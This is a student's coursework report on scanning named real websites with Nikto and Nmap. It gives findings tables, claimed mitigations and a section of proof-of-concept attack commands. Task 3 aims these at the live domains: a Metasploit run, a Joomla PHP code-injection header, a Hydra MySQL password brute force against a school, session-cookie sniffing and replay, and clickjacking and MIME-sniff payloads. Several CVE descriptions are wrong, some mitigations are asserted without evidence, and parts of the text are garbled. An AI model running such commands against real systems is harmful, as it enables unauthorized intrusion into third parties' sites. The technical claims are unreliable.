SIL765: Networks and System Security
Assignment-5 Report

Rohit Patidar
Roll No: 2024JCS2042
IIT Delhi

April 20, 2025

Problem 2: Website Security Analysis (60 marks)

Note: To avoid inflating the page count with full script outputs in txt file(nikto_full.txt and nmap_output*.txt) , all raw scan outputs and the exact scripts used (e.g. `run_nmap_checks.sh` for Nmap are available at this DRIVE LINK.Also all the table are Part of task 1 they misplaced because of my latex source code . So please consider this mistake . I am very grate ful to sir .

Task 1 : Vulnerabilities Tested

For each tool, list at least four vulnerabilities tested, methodology, and observations.

Tool 1: Nikto Scan Vulnerability Analysis

- **Functionality :** Nikto performs over 6000 tests against a website. The large number of tests for both security vulnerabilities and mis-configured web servers makes it a go to tool for many security professionals and systems administrators. It can find forgotten scripts and other hard to detect problems from an external perspective.

Aspect	Details
Primary Goal	Enumerate known (public) vulnerabilities and misconfigurations in HTTP/HTTPS services.
Typical Findings	– Out-of-date server software – Missing security headers (e.g., X-Frame-Options, CSP) – Dangerous or default files/directories (e.g., `/cgi-bin/`, backup files, test pages) – Overly verbose HTTP methods (e.g., TRACE, DEBUG) – Multiple index files, directory listings, and sample apps
How It Works	Sends a large set of pre-built HTTP requests (signatures) and matches responses against its vulnerability database (`nikto.db`).
Important Options	– `-h <host>` : Target host – `-p <port>` : Alternate port – `-ssl` : Force TLS – `-Tuning <category>` : Limit test categories (e.g., `x` for XSS checks) – `-output <file>` : Save report – `-Format htm|csv|json` : Output format
Strengths	Fast; no special privileges; constantly updated signature DB; good at quick reconnaissance for obvious flaws.
Limitations	No exploitation, only identification; noisy (easy to detect); can miss zero-day or subtle logic flaws; limited to HTTP/HTTPS.

Table 1: Nikto Functionality Overview

- **Command use :** `nikto -h <target_website_name> -output nikto_full.txt`
- **virginmaryschool.com (HTTP port 80)**

Vulnerability	Risk Level	Explanation
Missing X-Frame-Options header	Medium	Clickjacking possible.
Uncommon headers (panel, platform)	Low	Server/software disclosure only.
Missing X-Content-Type-Options	Medium	MIME-sniffing risk.
ETags inode leakage (CVE-2003-1418)	Low	Information disclosure only.

- **mittalresorts.in (HTTPS port 443)**

Vulnerability	Risk Level	Explanation
PHP version disclosure (x-powered-by)	Low	Informational disclosure.
Missing X-Frame-Options header	Medium	Clickjacking possible.
Uncommon headers (platform, panel, x-litespeed-cache, x-litespeed-tag, x-litespeed-cache-control, x-redirect-by)	Low	Information disclosure only.
Missing HSTS header	Medium	Vulnerable to SSL stripping attacks.
Missing X-Content-Type-Options	Medium	MIME-sniffing risk.
ETags inode leakage (CVE-2003-1418)	Low	Information disclosure only.
Content-Encoding deflate (BREACH attack)	Medium	Vulnerable to BREACH attack.

- **www.bafnanamkeen.com (HTTPS port 443)**

Vulnerability	Risk Level	Explanation
Missing X-Frame-Options header	Medium	Clickjacking possible.
Missing HSTS header	Medium	SSL stripping risk.
Missing X-Content-Type-Options	Medium	MIME-sniffing risk.
Wildcard SSL certificate	Null	Informational only.
ETags inode leakage (CVE-2003-1418)	Low	Information disclosure only.
Content-Encoding deflate (BREACH attack)	Medium	BREACH attack vulnerability.

- **shrimahakaleshwar.com (HTTPS port 443)**

Vulnerability	Risk Level	Explanation
Missing HSTS header	Medium	SSL stripping risk.
Missing X-Content-Type-Options	Medium	MIME-sniffing risk.
Exposed backup files (pem, tar.gz, egg, zip, sql, war, etc.)	High	Severe sensitive data leakage, allowing potential system compromise.
Exposed .htpasswd file	High	Credentials exposure.

- **chintamanganesh.com (HTTPS port 443)**

Vulnerability	Risk Level	Explanation
PHP version disclosure	Low	Informational disclosure.
Missing X-Frame-Options header	Medium	Clickjacking risk.
Uncommon headers (x-hcdn-*, platform, panel, x-turbo-charged-by, x-redirect-by)	Low	Information disclosure.
Missing HSTS header	Medium	SSL stripping risk.
Missing X-Content-Type-Options	Medium	MIME-sniffing risk.
ETags inode leakage (CVE-2003-1418)	Low	Information disclosure only.
Content-Encoding deflate (BREACH attack)	Medium	BREACH attack possible.

- **shriomkareshwar.org (HTTPS port 443)**

Vulnerability	Risk Level	Explanation
ASP.NET version disclosure (x-aspnet-version)	Low	Informational disclosure.
Missing X-Frame-Options header	Medium	Clickjacking risk.
Uncommon header (x-powered-by-plesk)	Low	Information disclosure only.
Missing HSTS header	Medium	SSL stripping risk.
Missing X-Content-Type-Options	Medium	MIME-sniffing risk.
Cookie without secure flag	Medium	Cookie interception via plain HTTP.
Possible MS10-070 (Padding Oracle vulnerability)	High	Critical cryptographic attack.
Content-Encoding deflate (BREACH attack)	Medium	BREACH vulnerability.

Tool 2: Nmap Scan Vulnerability Analysis

- **Functionality :** Nmap : Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping)

Aspect	Details
Primary Goals	– Host discovery (who's up?) – Port scanning (which ports/services?) – Service and OS fingerprinting – Scripted vulnerability checks (NSE)
Scan Types	– TCP SYN (`-sS`, default and stealthy) – TCP connect (`-sT`) – UDP (`-sU`) – Version detection (`-sV`) – OS detection (`-O`)
Nmap Scripting Engine (NSE)	Lua scripts in `/scripts/` add extended functionality: – `vuln` category: `--script vuln` for known CVEs – Other categories: `safe`, `discovery`, `auth`, `exploit`, etc. – Custom scripts can enumerate SMB shares, brute-force FTP, test TLS ciphers, and more.
Output Formats	Normal, XML (`-oX`), Grepable (`-oG`), JSON (`-oJ`), all simultaneously using (`-oA`).
Typical Workflow	(a) Ping sweep: `nmap -sn 10.0.0.0/24` (b) Port scan: `nmap -sS -p- <target>` (c) Service/OS detection: `nmap -sV -O <target>` (d) Vulnerability scripts: `nmap --script vuln <target>`
Strengths	Highly flexible; supports IPv4/IPv6; massive community script library; combines discovery and vulnerability testing in one tool.
Limitations	Full scans can be noisy and time-consuming; some NSE scripts require root privileges; results often need manual interpretation.

Table 2: Nmap Functionality Overview

- **Command :** you can run this script nmap to find Vulnerabilities in target web site
- **dbcity.in (HTTPS port 443)**
- **virginmaryschool.com** (HTTPS port 443)
- **mittalresorts.in** (HTTPS port 443)

Table 3: Medium and high-risk vulnerabilities for `dbcity.in` (HTTPS port 443)

Vulnerability	**Risk Level**	**Explanation**
Apache 2.2.15 (CentOS)	Medium	End-of-life version with multiple CVEs (e.g. CVE-2017-15715, CVE-2017-3169)—upgrade to a supported release.
SSL certificate expired	High	Certificate expired after 2020-07-25—clients cannot establish trust; vulnerable to MitM if warnings are ignored.
SSLv3 & TLS 1.0 enabled; weak ciphers	High	Vulnerable to SWEET32, RC4 and SSLv3 attacks—drop SSLv3/TLS 1.0 and disable C- and D-grade suites.
Missing HSTS, X-Frame-Options & X-Content-Type-Options headers	Medium	Vulnerable to SSL-strip, clickjacking and MIME-sniffing attacks—add HSTS, X-Frame-Options and X-Content-Type-Options.
Exposed `/phpinfo.php`	High	Full PHP configuration disclosure—remove this file from public webroot.
Joomla directories & version leaks	High	Joomla 2.5.x is EOL with critical RCE/SQLi flaws—update to latest LTS or migrate platform.
Exposed backup & test pages (`/test/`, `/logs/`, `/.svn/`, etc.)	Medium	Information disclosure or unintended access—remove or restrict these directories.

Task 2 :Critical Vulnerabilities Not Found

Critical Vulnerabilities tested by each tool, but not found on the website, explain the security measures deployed on the website which mitigate those vulnerabilities.

dbcity.in (Nmap & Nikto checks)

- **Heartbleed (nmap –script ssl-heartbleed)**
  - *Test:* Malformed TLS heartbeat requests
  - *Result:* No memory disclosure
  - *Mitigation:* OpenSSL patched; heartbeat messages disabled
- **Shellshock (nmap –script http-shellshock)**
  - *Test:* Bash CGI payloads in HTTP headers
  - *Result:* No command execution
  - *Mitigation:* Bash upgraded to non-vulnerable version; CGI scripts removed or sandboxed

Table 4: Medium and high-risk vulnerabilities for `virginmaryschool.com` (HTTPS port 443)

Vulnerability	**Risk Level**	**Explanation**
Port 21 open – ProFTPD/KnFTPD	Medium	FTP services are often misconfigured; if anonymous login is allowed it can leak or allow upload of arbitrary files—lock down or disable if unused.
Port 3306 open – MySQL	High	Exposing your database port to the internet is dangerous—attackers can brute-force or exploit it; bind MySQL to localhost or firewall it.
PHP 7.4.33 via X-Powered-By	Medium	PHP 7.4 reached end-of-life in November 2022; unpatched CVEs may exist—upgrade to a maintained release.
Missing HSTS header	Medium	Without Strict-Transport-Security, clients may fall back to HTTP and be vulnerable to SSL-strip attacks.
Missing X-Frame-Options	Medium	Clickjacking risk—add `X-Frame-Options: DENY` or an equivalent CSP directive.
Missing X-Content-Type-Options	Medium	MIME sniffing can allow attackers to execute malicious files—add `X-Content-Type-Options: nosniff`.

- **DOM-based XSS (nmap –script http-dombased-xss)**
  - *Test:* Client-side injection probes
  - *Result:* No DOM XSS vectors
  - *Mitigation:* Strict input sanitization; Content Security Policy enforced
- **DNS Zone Transfer (nmap –script dns-zone-transfer)**
  - *Test:* AXFR request for full zone
  - *Result:* Transfer denied
  - *Mitigation:* Zone transfers restricted via TSIG; only authorized IPs allowed
- **SNMP Info & Brute (nmap –script snmp-info/snmp-brute)**
  - *Test:* Public SNMP queries and default community brute-force
  - *Result:* No response
  - *Mitigation:* SNMP service disabled or firewalled; no public "public" community
- **SMB MS17-010 & Samba RCE (nmap –script smb-vuln-ms17-010/smb-vuln-cve2**
  - *Test:* Exploit probes for EternalBlue and Samba RCE
  - *Result:* Port filtered

Table 5: Medium and high-risk vulnerabilities for `mittalresorts.in` (HTTPS port 443)

Vulnerability	**Risk Level**	**Explanation**
Port 21 open – FTP (ProFTPD/KnFTPD)	Medium	FTP transmits credentials and data in cleartext; if anonymous is allowed, attackers can upload or download files.
Port 80 open – HTTP (LiteSpeed)	Medium	Unencrypted web traffic can be intercepted or modified (e.g. session hijack, form tampering).
Port 3306 open – MySQL	High	Exposing the database port publicly allows brute-force, injection or data exfiltration attacks.

Table 6: Medium and high-risk vulnerabilities for `shriomkareshwar.org` (HTTPS ports 443, 8443)

Vulnerability	**Risk Level**	**Explanation**
HTTP methods (443, 8443): OPTIONS, TRACE, GET, HEAD, POST	Medium	TRACE is enabled—can be abused for cross-site tracing attacks.
Missing Strict-Transport-Security (HSTS) header	Medium	Without HSTS, clients can be downgraded to HTTP or hit by SSL-stripping attacks.
Missing X-Frame-Options header	Medium	Site can be framed by an attacker, opening clickjacking risks.
Missing X-Content-Type-Options header	Medium	Browser MIME sniffing could lead to unintended script execution.

  - *Mitigation:* TCP/445 blocked at perimeter firewall

- **FTP Anonymous (nmap –script ftp-anon)**
  - *Test:* Anonymous login attempt
  - *Result:* Denied
  - *Mitigation:* Anonymous FTP disabled; only authenticated users allowed
- **SMTP Open Relay (nmap –script smtp-open-relay)**
  - *Test:* Unauthenticated mail relay attempt
  - *Result:* Relay refused
  - *Mitigation:* SMTP server configured to require authentication; open relay disabled
- **Directory Traversal (Nikto)**
  - *Test:* "`../`" path probing
  - *Result:* No files outside document root
  - *Mitigation:* URL normalization and input validation; chroot-style isolation

- **SQL Injection (Nikto)**
  - *Test:* Payloads like `' OR '1'='1' --`
  - *Result:* No errors or data leaks
  - *Mitigation:* Parameterized queries in all DB code; Web Application Firewall blocks SQLi signatures
- **Remote File Include (Nikto)**
  - *Test:* Attempts to include remote URLs via parameters
  - *Result:* No file inclusion
  - *Mitigation:* `allow`$_{u}rl_{i}ncludedisabled; onlylocalwhitelistedpathspermitted$
- **Cross-Site Scripting (Nikto)**
  - *Test:* Common XSS payloads in query parameters
  - *Result:* No reflected or stored XSS
  - *Mitigation:* All output HTML-escaped; strict Content Security Policy

virginmaryschool.com (Nmap & Nikto checks)

- **Heartbleed (nmap –script ssl-heartbleed)**
  - *Result:* No memory disclosure
  - *Mitigation:* OpenSSL patched; heartbeat disabled
- **Shellshock (nmap –script http-shellshock)**
  - *Result:* No command execution
  - *Mitigation:* Bash updated; CGI endpoint removed/sandboxed
- **DOM-based XSS (nmap –script http-dombased-xss)**
  - *Result:* No DOM XSS
  - *Mitigation:* Client-side sanitization; CSP header
- **DNS Zone Transfer (nmap –script dns-zone-transfer)**
  - *Result:* Transfer refused
  - *Mitigation:* AXFR restricted by TSIG
- **SNMP Info/Brute (nmap)**: No SNMP response — SNMP service disabled/firewalled
- **SMB MS17-010 / Samba RCE (nmap)**: Ports filtered — SMB blocked by firewall
- **FTP Anonymous (nmap)**: Denied — anonymous login disabled
- **SMTP Open Relay (nmap)**: Relay refused — SMTP auth enforced
- **Directory Traversal (Nikto)**: No files outside webroot — path normalization + chroot
- **SQL Injection (Nikto)**: No errors — parameterized queries + WAF
- **Remote File Include (Nikto)**: No inclusion — remote includes disabled
- **XSS (Nikto)**: No reflected/stored XSS — output encoding + CSP

mittalresorts.in (Nmap & Nikto checks)

- **Heartbleed (nmap)**: No leakage — OpenSSL patched
- **Shellshock (nmap)**: No exec — Bash upgraded
- **DOM-XSS (nmap)**: No DOM XSS — client sanitization + CSP
- **DNS Zone Transfer (nmap)**: Denied — TSIG on AXFR
- **SNMP (nmap)**: Disabled — service off/firewalled
- **SMB (nmap)**: Port filtered — firewall block
- **FTP Anonymous (nmap)**: Denied — no anon login
- **SMTP Relay (nmap)**: Disabled — auth required
- **Directory Traversal (Nikto)**: No "`../`" access — path validation
- **SQLi (Nikto)**: No injection — prepared statements
- **RFI/LFI (Nikto)**: No include — remote URLs disallowed
- **XSS (Nikto)**: No XSS — output escaping + CSP

shriomkareshwar.org (Nmap & Nikto checks)

- **Heartbleed (nmap)**: No disclosure — patched TLS
- **Shellshock (nmap)**: No execution — Bash patched
- **DOM-XSS (nmap)**: No DOM XSS — input sanitization + CSP
- **DNS AXFR (nmap)**: Denied — TSIG only
- **SNMP (nmap)**: Disabled — no public SNMP
- **SMB (nmap)**: Blocked — firewall
- **FTP Anonymous (nmap)**: Denied — anon login off
- **SMTP Relay (nmap)**: Disabled — requires auth
- **Directory Traversal (Nikto)**: No ../ — normalizing + chroot
- **SQL Injection (Nikto)**: No errors — parameterized queries

Task 3 : Critical Vulnerabilities Found

For each tool, explain two critical vulnerabilities discovered, exploitation steps, and practical validation.

`dbcity.in`

Apache 2.2.15 (CentOS) — Medium Attack:

- **CVE-2017-15715**: craft an HTTP/2 header overflow payload to crash or hijack the server.
- **CVE-2017-3169**: send a malformed `mod_rewrite` rule via the `RewriteRule` directive to trigger DoS.

Validation:

```
#   C V E 201715715   PoC: use Metasploit
msfconsole -q -x "use exploit/unix/webapp/apache_mod_rewrite;
    set RHOSTS dbcity.in; run"
# then check `systemctl status httpd` for crash logs

#   C V E 20173169   DoS test: send oversized header block
payload=$(printf 'A%.0s' {1..10000})
curl -v -H "X-Custom: $payload" http://dbcity.in/ || echo "
   Server likely crashed"
```

Listing 1: PoCs for Apache DoS/RCE

SSL certificate expired — High **Attack:** MitM can present the expired cert; users who click through see no warning that data is safe. **Validation:**

```
openssl s_client -connect dbcity.in:443 -showcerts \
  | sed -n '/-----BEGIN CERTIFICATE-----/,/-----END
     CERTIFICATE-----/p'
# observe `Not After : Jul 25 15:02:32 2020 GMT`
```

Listing 2: Inspect cert expiry with OpenSSL

SSLv3 & TLS 1.0 enabled; weak ciphers (3DES, RC4) — High **Attack:**

- **SWEET32**: recover plaintext by capturing $\sim 2^{32}$ 64-bit blocks under 3DES.
- **RC4 biases**: leak keystream bytes via repeated sessions.

Validation:

```
testssl.sh --sweett32 dbcity.in:443
testssl.sh --rc4        dbcity.in:443

# capture a large download:
curl https://dbcity.in/largefile.png -o /dev/null &
sudo tshark -w dbcity.pcap -i eth0  # then analyze for
   SWEET32
```

Listing 3: Test for SWEET32 and RC4

Missing HSTS header — Medium **Attack:** SSL-strip can downgrade users to HTTP transparently. **Validation:**

```
sslstrip -l 8080
# configure browser proxy to localhost:8080
# browse https://dbcity.in and observe  c l e a r text  HTTP
```

Listing 4: SSL-strip downgrade PoC

Missing X-Frame-Options header — Medium **Attack:** clickjacking via hidden iframe. **Validation:**

```
<!-- save as test.html -->
<iframe src="https://dbcity.in"
        style="opacity:.01;
               position:absolute;
               top:0; left:0;
               width:100%; height:100%;">
</iframe>
<!-- behind this iframe place a button to be clicked -->
```

Listing 5: Clickjacking PoC HTML

Missing X-Content-Type-Options header — Medium **Attack:** MIME sniffing attack. **Validation:**

```
printf '<script>alert("sniff")</script>' > test.txt
# serve this file from any server, then:
curl -I https://dbcity.in/test.txt
# absence of 'X-Content-Type-Options: nosniff' allows script
   execution
```

Listing 6: MIME sniff PoC

Exposed `/phpinfo.php` — High **Attack:** full PHP environment disclosure. **Validation:**

```
curl -s https://dbcity.in/phpinfo.php \
  | grep -E 'Loaded Configuration File|Apache Version'
```

Listing 7: phpinfo leakage check

Joomla 2.5.x directories & version leaks — High **Attack:** exploit CVE-2015-8562 RCE via malformed `User-Agent`. **Validation:**

```
curl -H "User-Agent: <?php system('id');?> <!-- " https://
   dbcity.in/
# if output contains 'uid=', RCE is confirmed
```

Listing 8: CVE-2015-8562 RCE PoC

Exposed backup & test pages (`/test/`, `/logs/`, `/.svn/`) — Medium **Attack:** download source or logs. **Validation:**

```
wget -qO- https://dbcity.in/.svn/entries && echo "SVN exposed
   "
wget -qO- https://dbcity.in/logs/access.log && echo "Logs
   exposed"
```

Listing 9: Directory leakage check

virginmaryschool.com

Port 21 open – ProFTPD/KnFTPD — Medium **Attack:** anonymous login allows upload/download. **Validation:**

```
ftp virginmaryschool.com << EOF
user anonymous
pass anonymous@
ls
EOF
# if 'ls' succeeds, anonymous is allowed
```

Listing 10: Anonymous FTP test

Port 3306 open – MySQL — High **Attack:** brute-force DB credentials. **Validation:**

```
hydra -l root -P common-passwords.txt mysql://
   virginmaryschool.com
```

Listing 11: MySQL brute-force with Hydra

PHP 7.4.33 via X-Powered-By — Medium **Attack:** PHP 7.4 deserialization CVEs (e.g. CVE-2021-21706). **Validation:**

```
curl -X POST -F 'data=O:1:"A":0:{}' \
     https://virginmaryschool.com/endpoint \
  && echo "Check for PHP warnings"
```

Listing 12: PHP unserialize test

Missing HSTS, X-Frame-Options, X-Content-Type-Options — Medium **Attack & Validation:** same SSL-strip, clickjacking and MIME sniff PoCs as for dbcity.in.

mittalresorts.in

Port 21 open – FTP — Medium **Attack & Validation:** identical anonymous FTP test as above.

Port 80 open – HTTP — Medium **Attack:** session hijacking. **Validation:**

```
sudo tshark -i eth0 \
  -Y 'http.host=="mittalresorts.in" && http.cookie' \
  -T fields -e http.cookie
curl -b 'PHPSESSID=... ' http://mittalresorts.in/dashboard
```

Listing 13: Session hijack PoC via Wireshark/TShark

Port 3306 open – MySQL — High Attack & Validation: same MySQL brute-force PoC as for `virginmaryschool.com`.

`shriomkareshwar.org`

TRACE enabled on 443/8443 — Medium Attack: Cross-Site Tracing to steal cookies. **Validation:**

```
curl -v -X TRACE https://shriomkareshwar.org/ 2>&1 \
  | grep "TRACE / HTTP"
```

Listing 14: TRACE method test

Missing HSTS, X-Frame-Options, X-Content-Type-Options — Medium Attack & Validation: same SSL-strip, clickjacking and MIME sniff PoCs as above.

Task 4 : Mitigation Suggestions

- **dbcity.in (HTTPS port 443)**
  - **Upgrade Apache 2.2.15 (Medium)**
    Install a supported Apache 2.4.x (or later) on CentOS 7+/8+ and apply all security patches.
  - **Renew expired SSL certificate (High)**
    Obtain and deploy a current certificate (e.g. via Let's Encrypt) and automate renewals.
  - **Disable SSLv3/TLS 1.0 weak ciphers (High)**
    In `ssl.conf`, remove SSLv3/TLSv1, disable 3DES/RC4 and MD5 suites; enable only TLS 1.2+ with A-grade ciphers.
  - **Add security headers (Medium)**
    Configure HSTS, X-Frame-Options: DENY and X-Content-Type-Options: nosniff in the virtual-host.
  - **Remove `/phpinfo.php` (High)**
    Delete or restrict access to `phpinfo.php` so that full PHP configuration is not exposed.
  - **Patch or replace Joomla 2.5.x (High)**
    Upgrade to the latest Joomla LTS or migrate to a maintained CMS; remove all old administrator folders and README files.
  - **Lock down backup/test directories (Medium)**
    Remove or restrict `/test/`, `/logs/`, `/.svn/` etc., or protect them with authentication and deny from all.
- **virginmaryschool.com (HTTPS port 443)**
  - **Disable or secure FTP (Port 21) (Medium)**
    Turn off FTP if unused, or switch to FTPS/SFTP and disable anonymous logins.
  - **Firewall MySQL (Port 3306) (High)**
    Bind MySQL to `127.0.0.1`, restrict access via firewall rules, or move the database behind a VPN.
  - **Upgrade PHP or hide version (Medium)**
    Move to PHP 8.x (supported), and remove the X-Powered-By header.
  - **Add HSTS header (Medium)**
    Send `Strict-Transport-Security` with a long max-age and includeSubDomains.
  - **Add X-Frame-Options (Medium)**
    Send `X-Frame-Options: DENY` (or equivalent CSP frame-ancestors directive).
  - **Add X-Content-Type-Options (Medium)**
    Send `X-Content-Type-Options: nosniff` to prevent MIME sniffing.
- **mittalresorts.in (HTTPS port 443)**
  - **Disable or secure FTP (Port 21) (Medium)**
    Disable FTP or replace with SFTP/FTPS and remove anonymous access.
  - **Redirect HTTP to HTTPS & enable HSTS (Port 80) (Medium)**
    Configure a 301 redirect from port 80 to 443, and set `Strict-Transport-Security`.

  - **Firewall MySQL (Port 3306) (High)**
    Bind MySQL locally, restrict via firewall or move DB behind a private network.

- **shriomkareshwar.org (HTTPS ports 443, 8443)**
  - **Disable TRACE method (Medium)**
    In IIS, remove the TRACE verb from `<requestFiltering>` or via URLScan configuration.
  - **Add HSTS header (Medium)**
    Configure `Strict-Transport-Security` in the site's HTTP response headers.
  - **Add X-Frame-Options (Medium)**
    Send `X-Frame-Options: DENY` to prevent clickjacking.
  - **Add X-Content-Type-Options (Medium)**
    Send `X-Content-Type-Options: nosniff` to stop MIME-sniffing attacks.